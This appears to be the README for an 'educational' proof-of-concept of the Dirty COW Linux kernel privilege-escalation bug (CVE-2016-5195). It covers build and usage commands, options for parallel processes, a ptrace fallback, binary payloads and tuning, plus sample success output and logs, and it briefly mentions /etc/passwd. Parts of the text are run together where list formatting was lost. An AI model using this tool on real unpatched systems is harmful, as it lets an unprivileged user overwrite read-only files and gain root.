
Educational PoC for Dirty COW (CVE-2016-5195) with logging, ptrace fallback, and binary payload support.
This code is for EDUCATIONAL PURPOSES ONLY. Any malicious use is strictly prohibited and illegal.
Dirty COW (CVE-2016-5195) is a privilege escalation vulnerability in the Linux Kernel that exploits a race condition in the kernel's copy-on-write (COW) mechanism. This vulnerability affects Linux kernels from version 2.6.22 (released in 2007) to versions before:
The vulnerability occurs in the kernel's memory management system:
MAP_PRIVATE, modifications should create a private copymadvise(MADV_DONTNEED) and writing to /proc/self/mem/etc/passwdNEVER run this on production systems or systems you don't own!
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
/proc/self/mem writing (default)ptrace(PTRACE_POKETEXT) for restricted systemsScans multiple memory offsets to find the best write position:
./main -D -v # Enable dynamic offset scanning
Launch multiple processes for intense race conditions:
./main -n 4 # Use 4 parallel processes
Load arbitrary binary data from files:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
Retry failed attempts automatically:
./main -r 5 # Retry up to 5 times
Uses SHA-256 hashing to verify file modifications:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
The tool creates detailed logs in exploit_log.txt:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
The exploit works by creating a race between two operations:
madvise(MADV_DONTNEED) - Tells kernel to discard memory pages/proc/self/mem - Attempts to write to mapped memoryMAP_PRIVATEWhen the race condition succeeds:
1. "Exploit failed or insufficient iterations"
-i or use multiple processes -n2. "/proc/self/mem access failed"
-P flag3. "System may not be vulnerable"
uname -r4. System becomes unresponsive
-i 1000000-n 1# Conservative settings (slower but safer)
./main -i 5000000 -n 1
# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D
# Balanced settings
./main -i 20000000 -n 2 -r 2 -D
This is an educational tool. Contributions should focus on:
This software is provided for educational and research purposes only. The authors and contributors are not responsible for any misuse or damage caused by this program. Users are solely responsible for ensuring they have proper authorization before testing on any systems.
By using this software, you acknowledge that:
This project is released under the MIT License for educational purposes only.
Remember: With great power comes great responsibility. Use this knowledge to protect and secure systems, not to harm them.
| Option | Description | Default | Max |
|---|
-t <file> | Target file path | /tmp/dirty_cow_test | - |
-p <payload> | Custom text payload | Test string | - |
-f <file> | Load binary payload from file | - | - |
-i <num> | Number of iterations | 10,000,000 | 100,000,000 |
-n <num> | Number of parallel processes | 1 | 8 |
-r <num> | Retry attempts | 1 | 10 |
-P | Use ptrace instead of /proc/self/mem | Disabled | - |
-D | Enable dynamic offset scanning | Disabled | - |
-v | Verbose output | Disabled | - |
-l <file> | Log file path | exploit_log.txt | - |
-h | Show help | - | - |